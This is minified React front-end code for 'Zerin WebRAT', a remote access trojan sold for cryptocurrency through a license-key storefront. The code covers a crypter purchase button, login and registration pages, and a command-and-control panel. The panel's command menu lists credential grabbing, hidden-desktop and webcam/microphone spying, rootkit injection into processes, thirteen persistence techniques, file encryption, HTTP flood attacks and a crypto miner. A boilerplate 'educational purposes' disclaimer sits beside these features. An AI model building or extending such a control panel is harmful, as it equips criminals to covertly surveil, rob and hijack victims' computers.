py-5",children:a.jsxs("button",{onClick:()=>c("rat_crypter"),disabled:!!r,className:"group/btn relative block w-full overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm text-center px-6 py-3 transition-all duration-300 hover:shadow-[0_0_30px_rgba(6,182,212,0.3)] disabled:opacity-50 disabled:cursor-wait",children:[a.jsx("span",{className:"relative z-10",children:r==="rat_crypter"?"Creating Invoice...":"Purchase with Crypto"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover/btn:translate-x-full transition-transform duration-700"})]})})]})]})]}),a.jsxs("div",{className:"mt-8 text-center space-y-3",children:[a.jsxs("div",{className:"flex items-center justify-center gap-4",children:[a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/40 uppercase tracking-wider",children:"Accepted:"}),["BTC","ETH","LTC","XMR","USDT"].map(u=>a.jsx("span",{className:"font-mono text-[10px] tracking-wider text-zerin-text-muted/60 border border-[#1a1a22] px-1.5 py-0.5 hover:border-zerin-accent/20 hover:text-zerin-text-muted transition-colors duration-300",children:u},u))]}),a.jsx("span",{className:"font-mono text-[10px] text-zerin-text-muted/30 tracking-wider block",children:"Secure payment — License key delivered instantly after confirmation"})]})]})}),a.jsxs("section",{className:"relative z-10 py-32 px-6 text-center",children:[a.jsxs("h2",{className:"font-display font-bold text-3xl md:text-5xl tracking-tight mb-4",children:["Ready to"," ",a.jsx("span",{className:"bg-gradient-to-r from-zerin-accent to-cyan-300 bg-clip-text text-transparent",children:"operate"}),"?"]}),a.jsx("p",{className:"text-zerin-text-muted text-[15px] mb-10 max-w-md mx-auto",children:"Join the red team operators who trust Zerin for advanced adversary simulation and penetration testing."}),a.jsxs(xt,{to:"/register",className:"group relative inline-block overflow-hidden bg-zerin-accent text-[#04040a] font-mono font-semibold text-sm px-10 py-3.5 transition-all duration-300 hover:shadow-[0_0_40px_rgba(6,182,212,0.25)]",children:[a.jsx("span",{className:"relative z-10",children:"Get Started"}),a.jsx("div",{className:"absolute inset-0 bg-gradient-to-r from-transparent via-white/20 to-transparent -translate-x-full group-hover:translate-x-full transition-transform duration-700"})]})]}),a.jsxs("footer",{className:"relative z-10 border-t border-[#1a1a22]/50 py-8 px-6",children:[a.jsxs("div",{className:"max-w-6xl mx-auto flex items-center justify-between",children:[a.jsxs("div",{className:"flex items-center gap-2",children:[a.jsx("span",{className:"font-display font-bold text-sm text-zerin-text-muted/60",children:"ZERIN"}),a.jsx("span",{className:"text-[8px] font-mono text-zerin-text-muted/30 tracking-widest",children:"WebRAT"})]}),a.jsxs("div",{className:"flex items-center gap-4",children:[a.jsxs("a",{href:"https://t.me/zerinrat",target:"_blank",rel:"noopener noreferrer",className:"font-mono text-[11px] text-zerin-text-muted/40 hover:text-zerin-accent transition-colors flex items-center gap-1.5",children:[a.jsx("svg",{className:"w-3.5 h-3.5",viewBox:"0 0 24 24",fill:"currentColor",children:a.jsx("path",{d:"M11.944 0A12 12 0 0 0 0 12a12 12 0 0 0 12 12 12 12 0 0 0 12-12A12 12 0 0 0 12 0a12 12 0 0 0-.056 0zm4.962 7.224c.1-.002.321.023.465.14a.506.506 0 0 1 .171.325c.016.093.036.306.02.472-.18 1.898-.962 6.502-1.36 8.627-.168.9-.499 1.201-.82 1.23-.696.065-1.225-.46-1.9-.902-1.056-.693-1.653-1.124-2.678-1.8-1.185-.78-.417-1.21.258-1.91.177-.184 3.247-2.977 3.307-3.23.007-.032.014-.15-.056-.212s-.174-.041-.249-.024c-.106.024-1.793 1.14-5.061 3.345-.48.33-.913.49-1.302.48-.428-.008-1.252-.241-1.865-.44-.752-.245-1.349-.374-1.297-.789.027-.216.325-.437.893-.663 3.498-1.524 5.83-2.529 6.998-3.014 3.332-1.386 4.025-1.627 4.476-1.635z"})}),"Telegram"]}),a.jsx("span",{className:"font-mono text-[11px] text-zerin-text-muted/30",children:"© 2026"})]})]}),a.jsx("div",{className:"max-w-6xl mx-auto mt-4 pt-4 border-t border-[#1a1a22]/30",children:a.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted/25 leading-relaxed text-center",children:"This software is provided strictly for educational purposes and authorized penetration testing only. The developer does not promote, condone, or support the use of this tool for unauthorized access, malware distribution, or any illegal activity. By using this software you agree to comply with all applicable laws in your jurisdiction. Use at your own risk."})})]})]})}function Mj(){const e=m.useRef(null);return m.useEffect(()=>{const t=e.current;if(!t)return;const n=t.getContext("2d");let r,i=0;function s(){t.width=window.innerWidth,t.height=window.innerHeight}s(),window.addEventListener("resize",s);function o(){i+=.002,n.clearRect(0,0,t.width,t.height);const l=50,c=Math.ceil(t.width/l)+1,u=Math.ceil(t.height/l)+1;for(let d=0;d{cancelAnimationFrame(r),window.removeEventListener("resize",s)}},[]),a.jsxs(a.Fragment,{children:[a.jsx("canvas",{ref:e,className:"fixed inset-0 pointer-events-none",style:{zIndex:0}}),a.jsx("div",{className:"fixed inset-0 pointer-events-none",style:{zIndex:1,background:"radial-gradient(ellipse at center, transparent 30%, rgba(4,4,10,0.7) 100%)"}})]})}const oy="zerin.pro",Lj="zerpanel-67ontoplol.top";function _x(){return window.location.hostname===oy||window.location.hostname===`www.${oy}`}function c_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(!1);async function u(d){d.preventDefault(),o(""),c(!0);try{if(await qE({username:t,password:r}),_x()){const f=st();if(f){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(f)}`;return}}e("/dashboard")}catch(f){f instanceof bi?o(f.status===401?f.message||"Invalid credentials":`Server error: ${f.message}`):o("Connection failed. Is the server running?")}finally{c(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Command & Control"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:u,className:"relative space-y-5",children:[s&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:s})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:d=>n(d.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Enter username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:d=>i(d.target.value),required:!0,autoComplete:"current-password",className:"auth-input",placeholder:"Enter password"})})]}),a.jsx("div",{className:"auth-stagger-5 pt-1",children:a.jsx("button",{type:"submit",disabled:l,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[l&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),l?"Authenticating...":"Sign In"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-6",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Don't have an account?"," ",a.jsx(xt,{to:"/register",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Register"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function u_(){const e=xr(),[t,n]=m.useState(""),[r,i]=m.useState(""),[s,o]=m.useState(""),[l,c]=m.useState(""),[u,d]=m.useState(""),[f,p]=m.useState(!1);async function h(x){if(x.preventDefault(),d(""),!/^[a-zA-Z0-9]{3,32}$/.test(t)){d("Username must be 3-32 characters, alphanumeric only");return}if(r!==s){d("Passwords do not match");return}if(r.length<12){d("Password must be at least 12 characters");return}p(!0);try{if(await XE({username:t,password:r,license_key:l}),_x()){const g=st();if(g){window.location.href=`https://${Lj}/auth#token=${encodeURIComponent(g)}`;return}}e("/dashboard")}catch(g){if(g instanceof bi)try{const y=JSON.parse(g.message);d(y.error||g.message)}catch{d(g.message)}else d("Connection failed. Is the server running?")}finally{p(!1)}}return a.jsxs("div",{className:"min-h-screen bg-zerin-bg flex items-center justify-center p-4 overflow-hidden",children:[a.jsx(Mj,{}),a.jsxs("div",{className:"relative w-full max-w-sm",style:{zIndex:2},children:[a.jsxs("div",{className:"text-center mb-8 auth-stagger-1",children:[a.jsxs("div",{className:"inline-flex items-center gap-2.5 auth-breathe",children:[a.jsx("h1",{className:"font-display font-bold text-2xl text-zerin-text tracking-tight",children:"ZERIN"}),a.jsx("span",{className:"text-[10px] font-mono font-semibold tracking-wider border border-zerin-accent/30 text-zerin-accent px-2 py-0.5 auth-badge-glow",children:"WebRAT"})]}),a.jsx("p",{className:"text-zerin-text-muted text-sm mt-1.5 font-sans",children:"Create Account"})]}),a.jsxs("div",{className:"auth-card auth-stagger-2",children:[a.jsx("div",{className:"auth-corner auth-corner-tl"}),a.jsx("div",{className:"auth-corner auth-corner-tr"}),a.jsx("div",{className:"auth-corner auth-corner-bl"}),a.jsx("div",{className:"auth-corner auth-corner-br"}),a.jsx("div",{className:"auth-scanline"}),a.jsxs("form",{onSubmit:h,className:"relative space-y-5",children:[u&&a.jsxs("div",{className:"auth-error",children:[a.jsx("div",{className:"auth-error-bar"}),a.jsx("span",{children:u})]}),a.jsxs("div",{className:"auth-stagger-3",children:[a.jsx("label",{htmlFor:"username",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Username"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"username",type:"text",value:t,onChange:x=>n(x.target.value),required:!0,autoFocus:!0,autoComplete:"username",className:"auth-input",placeholder:"Choose a username"})})]}),a.jsxs("div",{className:"auth-stagger-4",children:[a.jsx("label",{htmlFor:"password",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"password",type:"password",value:r,onChange:x=>i(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Min 12 characters"})})]}),a.jsxs("div",{className:"auth-stagger-5",children:[a.jsx("label",{htmlFor:"confirmPassword",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"Confirm Password"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"confirmPassword",type:"password",value:s,onChange:x=>o(x.target.value),required:!0,autoComplete:"new-password",className:"auth-input",placeholder:"Repeat password"})})]}),a.jsxs("div",{className:"auth-stagger-6",children:[a.jsx("label",{htmlFor:"licenseKey",className:"block text-[11px] uppercase tracking-widest text-zerin-text-muted font-mono mb-2",children:"License Key"}),a.jsx("div",{className:"auth-input-wrap",children:a.jsx("input",{id:"licenseKey",type:"text",value:l,onChange:x=>{const g=x.target.value;g.toLowerCase().startsWith("zer-")?c("zer-"+g.slice(4).toUpperCase()):c(g.toUpperCase())},required:!0,autoComplete:"off",spellCheck:!1,className:"auth-input font-mono",placeholder:"zer-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX-XXXXX"})})]}),a.jsx("div",{className:"auth-stagger-7 pt-1",children:a.jsx("button",{type:"submit",disabled:f,className:"auth-submit",children:a.jsxs("span",{className:"relative z-10 flex items-center justify-center gap-2",children:[f&&a.jsxs("svg",{className:"animate-spin h-4 w-4",viewBox:"0 0 24 24",fill:"none",children:[a.jsx("circle",{className:"opacity-25",cx:"12",cy:"12",r:"10",stroke:"currentColor",strokeWidth:"3"}),a.jsx("path",{className:"opacity-75",fill:"currentColor",d:"M4 12a8 8 0 018-8v4a4 4 0 00-4 4H4z"})]}),f?"Creating Account...":"Register"]})})})]})]}),a.jsxs("div",{className:"mt-7 text-center space-y-2.5 auth-stagger-8",children:[a.jsxs("p",{className:"text-zerin-text-muted text-sm font-sans",children:["Already have an account?"," ",a.jsx(xt,{to:"/login",className:"text-zerin-accent hover:text-zerin-accent-hover transition-colors duration-200",children:"Sign In"})]}),a.jsxs("div",{className:"flex items-center justify-center gap-2",children:[a.jsx("span",{className:"auth-status-dot"}),a.jsx("span",{className:"text-zerin-text-muted/40 text-[10px] font-mono",children:"v1.0.0 · secure"})]})]})]})]})}function eu(e){const t=Date.now(),n=new Date(e).getTime(),r=t-n;if(r<0)return"just now";const i=Math.floor(r/1e3),s=Math.floor(i/60),o=Math.floor(s/60),l=Math.floor(o/24);return i<5?"just now":i<60?`${i}s ago`:s<60?`${s}m ago`:o<24?`${o}h ago`:l<30?`${l}d ago`:new Date(e).toLocaleDateString()}function Mp(e,t=1){if(e<=0)return"0 B";const n=1024,r=["B","KB","MB","GB","TB"],i=Math.floor(Math.log(e)/Math.log(n));return`${parseFloat((e/Math.pow(n,i)).toFixed(t))} ${r[i]}`}function d_(e){return new Date(e).toLocaleString("en-US",{month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Lo(e){return new Date(e).toLocaleString("en-US",{year:"numeric",month:"short",day:"numeric",hour:"2-digit",minute:"2-digit",second:"2-digit",hour12:!1})}function Io(e){const t=e.toLowerCase();return t.includes("windows")?"Windows":t.includes("linux")?"Linux":t.includes("darwin")||t.includes("macos")?"macOS":e}function no(e){return e.slice(0,8)}function Ij(e,t){if(e<60)return`${e}s / ${t}%`;const n=Math.floor(e/60),r=e%60;return r===0?`${n}m / ${t}%`:`${n}m ${r}s / ${t}%`}function f_(e){return`data:image/bmp;base64,${e}`}function m_(e){return e.startsWith("Qk")}const Dn="w-3.5 h-3.5 flex-shrink-0",sn={eye:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.458 12C3.732 7.943 7.523 5 12 5c4.478 0 8.268 2.943 9.542 7-1.274 4.057-5.064 7-9.542 7-4.477 0-8.268-2.943-9.542-7z"})]}),info:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"})}),terminal:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 9l3 3-3 3m5 0h3M5 20h14a2 2 0 002-2V6a2 2 0 00-2-2H5a2 2 0 00-2 2v12a2 2 0 002 2z"})}),folder:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 7v10a2 2 0 002 2h14a2 2 0 002-2V9a2 2 0 00-2-2h-6l-2-2H5a2 2 0 00-2 2z"})}),pin:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 5a2 2 0 012-2h10a2 2 0 012 2v16l-7-3.5L5 21V5z"})}),key:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 7a2 2 0 012 2m4 0a6 6 0 01-7.743 5.743L11 17H9v2H7v2H4a1 1 0 01-1-1v-2.586a1 1 0 01.293-.707l5.964-5.964A6 6 0 1121 9z"})}),shield:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 12l2 2 4-4m5.618-4.016A11.955 11.955 0 0112 2.944a11.955 11.955 0 01-8.618 3.04A12.02 12.02 0 003 9c0 5.591 3.824 10.29 9 11.622 5.176-1.332 9-6.03 9-11.622 0-1.042-.133-2.052-.382-3.016z"})}),sparkles:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M5 3v4M3 5h4M6 17v4m-2-2h4m5-16l2.286 6.857L21 12l-5.714 2.143L13 21l-2.286-6.857L5 12l5.714-2.143L13 3z"})}),bolt:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M13 10V3L4 14h7v7l9-11h-7z"})}),power:a.jsx("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M18.364 5.636a9 9 0 010 12.728M5.636 5.636a9 9 0 000 12.728M12 2v4"})}),cog:a.jsxs("svg",{className:Dn,fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:[a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.066 2.573c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.573 1.066c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.066-2.573c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z"}),a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15 12a3 3 0 11-6 0 3 3 0 016 0z"})]}),externalLink:a.jsx("svg",{className:"w-3 h-3 flex-shrink-0 opacity-40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M10 6H6a2 2 0 00-2 2v10a2 2 0 002 2h10a2 2 0 002-2v-4M14 4h6m0 0v6m0-6L10 14"})}),search:a.jsx("svg",{className:"w-3.5 h-3.5 text-[#3a3a44]",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M21 21l-6-6m2-5a7 7 0 11-14 0 7 7 0 0114 0z"})})},p_=new Set(["vnc","hvnc","webcam","mic","socks5","chat"]),h_=new Set(["remove","exit","uninstall","shutdown"]),x_=new Set(["ban"]),am=[{label:"Monitoring",icon:sn.eye,group:1,commands:[{key:"ps",label:"Process List",nav:{tab:"processes"}},{key:"windows",label:"Window List",nav:{tab:"windows"}},{key:"screenshot",label:"Screenshot",nav:{tab:"screenshots",action:"screenshot"}},{key:"vnc",label:"Remote Desktop",nav:{action:"vnc"}},{key:"hvnc",label:"Hidden Desktop",nav:{action:"hvnc"}},{key:"webcam",label:"Webcam",nav:{action:"webcam"}},{key:"mic",label:"Microphone",nav:{action:"mic"}},{key:"socks5",label:"Reverse Proxy",nav:{action:"socks5"}},{key:"netstat",label:"Network Connections",nav:{tab:"overview",action:"submit"}},{key:"ifconfig",label:"Network Interfaces",nav:{tab:"overview",action:"submit"}}]},{label:"Information",icon:sn.info,group:1,commands:[{key:"whoami",label:"Whoami",nav:{tab:"overview",action:"submit"}},{key:"sysinfo",label:"System Info",nav:{tab:"overview",action:"submit"}},{key:"specs",label:"System Specs",nav:{tab:"system"}},{key:"installed_apps",label:"Installed Apps",nav:{tab:"apps"}},{key:"env",label:"Environment Variables",nav:{tab:"overview",action:"submit"}},{key:"creds",label:"Grab Credentials",nav:{tab:"credentials",action:"submit"}}]},{label:"Execution",icon:sn.terminal,group:2,commands:[{key:"shell",label:"Command Shell",nav:{tab:"overview"}},{key:"powershell",label:"PowerShell",nav:{tab:"overview"}},{key:"execute",label:"Execute File",nav:{action:"execute_upload"}}]},{label:"File Manager",icon:sn.folder,group:2,commands:[{key:"ls",label:"Browse Files",nav:{tab:"files"}},{key:"upload",label:"Upload File",nav:{tab:"files"}},{key:"download",label:"Download File",nav:{tab:"files"}},{key:"encrypt",label:"Encrypt File",nav:{tab:"overview",action:"submit"}},{key:"decrypt",label:"Decrypt File",nav:{tab:"overview",action:"submit"}}]},{label:"Persistence",icon:sn.pin,group:3,commands:[{key:"persist_runkey",label:"Run Key",nav:{tab:"overview",action:"submit"}},{key:"persist_schtask",label:"Scheduled Task",nav:{tab:"overview",action:"submit"}},{key:"persist_service",label:"Service",nav:{tab:"overview",action:"submit"}},{key:"persist_startup",label:"Startup Folder",nav:{tab:"overview",action:"submit"}},{key:"persist_logonscript",label:"Logon Script",nav:{tab:"overview",action:"submit"}},{key:"persist_screensaver",label:"Screensaver",nav:{tab:"overview",action:"submit"}},{key:"persist_ifeo",label:"IFEO Debugger",nav:{tab:"overview",action:"submit"}},{key:"persist_bits",label:"BITS Job",nav:{tab:"overview",action:"submit"}},{key:"persist_com",label:"COM Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_dllhijack",label:"DLL Hijack",nav:{tab:"overview",action:"submit"}},{key:"persist_wmi",label:"WMI Event Sub",nav:{tab:"overview",action:"submit"}},{key:"persist_portmon",label:"Port Monitor",nav:{tab:"overview",action:"submit"}},{key:"persist_ssp",label:"SSP (LSA)",nav:{tab:"overview",action:"submit"}}]},{label:"Registry",icon:sn.key,group:3,commands:[{key:"reg_read",label:"Read Key",nav:{tab:"overview",action:"submit"}},{key:"reg_write",label:"Write Key",nav:{tab:"overview",action:"submit"}}]},{label:"Rootkit",icon:sn.shield,group:3,commands:[{key:"rootkit_status",label:"Rootkit Status",nav:{tab:"overview",action:"submit"}},{key:"rootkit_inject",label:"Inject into PID",nav:{tab:"overview",action:"submit"}}]},{label:"Extra",icon:sn.sparkles,group:4,commands:[{key:"troll_panel",label:"Troll Panel",nav:{tab:"troll"}},{key:"troll_msgbox",label:"Message Box",nav:{tab:"troll"}},{key:"troll_tts",label:"Text to Speech",nav:{tab:"troll"}},{key:"troll_website",label:"Open Website",nav:{tab:"troll"}},{key:"troll_wallpaper",label:"Change Wallpaper",nav:{tab:"troll"}},{key:"troll_taskbar",label:"Toggle Taskbar",nav:{tab:"troll"}},{key:"troll_cd_tray",label:"Open CD Tray",nav:{tab:"troll"}},{key:"chat",label:"Live Chat",nav:{action:"chat"}}]},{label:"Network Attack",icon:sn.bolt,group:4,commands:[{key:"ddos_start",label:"HTTP Flood",nav:{tab:"ddos"}},{key:"miner_start",label:"Crypto Miner",nav:{tab:"miner"}}]},{label:"PC Options",icon:sn.power,group:5,commands:[{key:"restart",label:"Restart PC",nav:{action:"confirm"}},{key:"shutdown",label:"Shutdown PC",nav:{action:"confirm"}}]},{label:"Bot Options",icon:sn.cog,group:5,commands:[{key:"sleep",label:"Change Sleep",nav:{tab:"overview"}},{key:"exit",label:"Exit Agent",nav:{action:"confirm"}},{key:"uninstall",label:"Uninstall Agent",nav:{action:"confirm"}},{key:"ban",label:"Ban Agent",nav:{action:"ban"}},{key:"remove",label:"Remove from List",nav:{action:"remove"}}]}],v_={alive:"bg-zerin-accent",stale:"bg-zinc-500",dead:"bg-zinc-700"},g_={alive:"ONLINE",stale:"STALE",dead:"OFFLINE"},y_={alive:"text-zerin-accent",stale:"text-zinc-500",dead:"text-zerin-danger"},b_=({x:e,y:t,visible:n,onAction:r,onClose:i,agentStatus:s="alive",agentName:o})=>{const l=m.useRef(null),c=m.useRef(null),u=m.useRef(null),[d,f]=m.useState(null),[p,h]=m.useState({x:e,y:t}),[x,g]=m.useState(""),[y,v]=m.useState(-1),[b,w]=m.useState(-1),[j,N]=m.useState(!1),k=m.useRef(null),z=s==="dead",S=x.trim()?am.map(R=>({...R,commands:R.commands.filter(K=>K.label.toLowerCase().includes(x.toLowerCase())||K.key.toLowerCase().includes(x.toLowerCase()))})).filter(R=>R.commands.length>0||R.label.toLowerCase().includes(x.toLowerCase())).map(R=>({...R,commands:R.commands.length>0?R.commands:am.find(K=>K.label===R.label).commands})):am;m.useEffect(()=>{if(n&&l.current){const R=l.current.getBoundingClientRect(),K=window.innerWidth,_=window.innerHeight;let M=e,F=t;e+R.width>K&&(M=K-R.width-8),t+R.height>_&&(F=_-R.height-8),h({x:Math.max(4,M),y:Math.max(4,F)})}else h({x:e,y:t})},[e,t,n]),m.useEffect(()=>{n||(f(null),g(""),v(-1),w(-1),N(!1))},[n]),m.useEffect(()=>{n&&requestAnimationFrame(()=>{var R;(R=c.current)==null||R.focus()})},[n]),m.useEffect(()=>{if(!n)return;const R=K=>{l.current&&!l.current.contains(K.target)&&i()};return document.addEventListener("mousedown",R),()=>{document.removeEventListener("mousedown",R)}},[n,i]),m.useEffect(()=>()=>{k.current&&clearTimeout(k.current)},[]);const O=m.useCallback(()=>{if(!u.current)return;const R=u.current;R.style.top="0px";const K=R.getBoundingClientRect(),_=window.innerHeight;if(K.bottom>_-8){const M=K.bottom-_+8;R.style.top=`${-M}px`}},[]);if(m.useEffect(()=>{d&&requestAnimationFrame(O)},[d,O]),m.useEffect(()=>{if(!n)return;const R=K=>{var M;const _=S;if(_.length!==0)switch(K.key){case"ArrowDown":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U{const U=F<_.length-1?F+1:0;return f(_[U].label),U});break}case"ArrowUp":{if(K.preventDefault(),j){const F=_.find(U=>U.label===d);F&&w(U=>U>0?U-1:F.commands.length-1)}else v(F=>{const U=F>0?F-1:_.length-1;return f(_[U].label),U});break}case"ArrowRight":case"Enter":{if(j&&K.key==="Enter"){K.preventDefault();const F=_.find(U=>U.label===d);F&&b>=0&&bdocument.removeEventListener("keydown",R)},[n,S,d,j,y,b,i]),!n)return null;const A=(R,K)=>{k.current&&clearTimeout(k.current),k.current=setTimeout(()=>{f(R),v(K),N(!1),w(-1)},60)},T=()=>{k.current&&clearTimeout(k.current)},P=R=>{z&&R.nav.action!=="remove"&&R.nav.action!=="ban"||r(R.key,R.nav)},D=p.x+200+220>window.innerWidth,G=R=>R===0?!1:S[R].group!==S[R-1].group;return a.jsx("div",{ref:l,className:"fixed z-[9999]",style:{left:p.x,top:p.y},onMouseLeave:()=>{f(null),v(-1),N(!1),w(-1)},children:a.jsxs("div",{className:"min-w-[200px] border border-[#1a1a20] bg-[#0d0d11] shadow-2xl shadow-black/60 animate-scale-in",style:{backdropFilter:"blur(12px)"},children:[a.jsxs("div",{className:"flex items-center gap-2.5 border-b border-[#1a1a20] px-3 py-2.5",children:[a.jsxs("span",{className:"relative inline-flex",children:[s==="alive"&&a.jsx("span",{className:"absolute inline-flex h-full w-full rounded-full bg-zerin-accent opacity-40 animate-pulse-dot"}),a.jsx("span",{className:`relative inline-block h-2 w-2 rounded-full ${v_[s]}`})]}),a.jsxs("div",{className:"flex flex-col min-w-0",children:[a.jsx("span",{className:"text-[12px] font-medium text-zerin-text truncate max-w-[160px]",children:o||"Unknown"}),a.jsx("span",{className:`font-mono text-[10px] ${y_[s]}`,children:g_[s]})]})]}),a.jsx("div",{className:"px-2 pt-2 pb-1",children:a.jsxs("div",{className:"flex items-center gap-2 bg-[#09090b] border border-[#1a1a20] px-2 py-1.5",children:[sn.search,a.jsx("input",{ref:c,type:"text",value:x,onChange:R=>{g(R.target.value),v(-1),f(null),N(!1),w(-1)},placeholder:"Search commands...",className:"flex-1 bg-transparent text-[12px] text-zerin-text placeholder-[#3a3a44] outline-none"}),x&&a.jsx("button",{onClick:()=>{var R;g(""),(R=c.current)==null||R.focus()},className:"text-[#3a3a44] hover:text-zerin-text-dim transition-colors",children:a.jsx("svg",{className:"w-3 h-3",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2.5,children:a.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M6 18L18 6M6 6l12 12"})})})]})}),a.jsxs("div",{className:"py-1",children:[S.length===0&&a.jsx("div",{className:"px-3 py-4 text-center",children:a.jsx("span",{className:"text-[12px] text-[#3a3a44]",children:"No 